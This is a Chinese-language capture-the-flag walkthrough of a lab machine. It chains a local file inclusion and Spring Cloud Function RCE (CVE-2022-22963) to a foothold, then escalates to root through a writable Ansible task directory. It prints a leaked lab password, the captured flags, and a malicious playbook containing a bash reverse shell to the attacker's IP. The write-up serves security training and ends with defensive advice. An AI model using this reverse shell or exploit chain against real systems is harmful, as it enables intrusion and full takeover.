[Meachines] [Easy] Inject LFI && Spring Cloud RCE+Ansible playbook权限提升
字数 1138 2025-08-29 08:30:30
教学文档:LFI与Spring Cloud RCE漏洞利用及Ansible playbook权限提升
1. 信息收集阶段
1.1 目标识别
- 目标IP:
10.10.11.204 - 开放端口:
- TCP 22 (SSH)
- TCP 8080 (Nagios NSCA/Web服务)
1.2 扫描技术
使用以下命令进行扫描:
ip='10.10.11.204'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
1.3 服务枚举
使用feroxbuster进行目录扫描:
feroxbuster -u 'http://10.10.11.204:8080/'
2. 漏洞利用阶段
2.1 LFI (本地文件包含)漏洞
- 目标URL:
http://10.10.11.204:8080/upload - 利用方法: 通过文件包含漏洞读取敏感文件
2.2 Spring Cloud RCE (CVE-2022-22963)
- 漏洞参考: https://www.cvedetails.com/cve/CVE-2022-22963/
- 利用工具: https://github.com/J0ey17/CVE-2022-22963_Reverse-Shell-Exploit
- 执行命令:
python3 exp.py -u 'http://10.10.11.204:8080'
2.3 凭证获取
在系统中搜索密码:
grep -iR password 2>/dev/null
发现凭证:
- 用户名:
phil - 密码:
DocPhillovestoInject123
3. 权限提升阶段
3.1 初始访问
使用获取的SSH凭证登录:
ssh phil@10.10.11.204
3.2 用户权限确认
获取user flag:
94e7dcdca61b2d4d6d8256039e213074
3.3 监控系统进程
使用pspy64监控系统进程,发现Ansible playbook定期执行:
/usr/local/bin/ansible-parallel执行了/opt/automation/tasks/*.yml任务
3.4 Ansible playbook分析
发现playbook_1.yml内容:
- hosts: localhost
tasks:
- name: Checking webapp service
service:
name: webapp
state: started
enabled: yes
3.5 创建恶意playbook
在/opt/automation/tasks/目录下创建playbook_2.yml:
- hosts: localhost
tasks:
- name: Checking webapp service
shell: bash -c 'bash -i >& /dev/tcp/10.10.16.28/443 0>&1'
3.6 获取root权限
等待Ansible执行恶意playbook后,获取root shell和flag:
5e375fdba1d1771e97cf1af837801f0e
4. 关键知识点总结
-
LFI漏洞利用: 通过文件包含漏洞读取系统敏感文件获取关键信息
-
Spring Cloud RCE (CVE-2022-22963):
- 影响Spring Cloud Function版本3.2.2及之前版本
- 通过特殊构造的HTTP请求头可执行任意命令
- 公开的漏洞利用脚本可快速获取反向shell
-
Ansible playbook权限提升:
- 监控系统进程发现自动化任务执行
- 利用可写目录注入恶意playbook
- Ansible以root权限执行playbook的特性实现权限提升
-
防御建议:
- 及时更新Spring Cloud Function到安全版本
- 限制Ansible playbook目录的写入权限
- 对自动化任务执行进行严格的审计和监控
- 避免在playbook中使用直接shell命令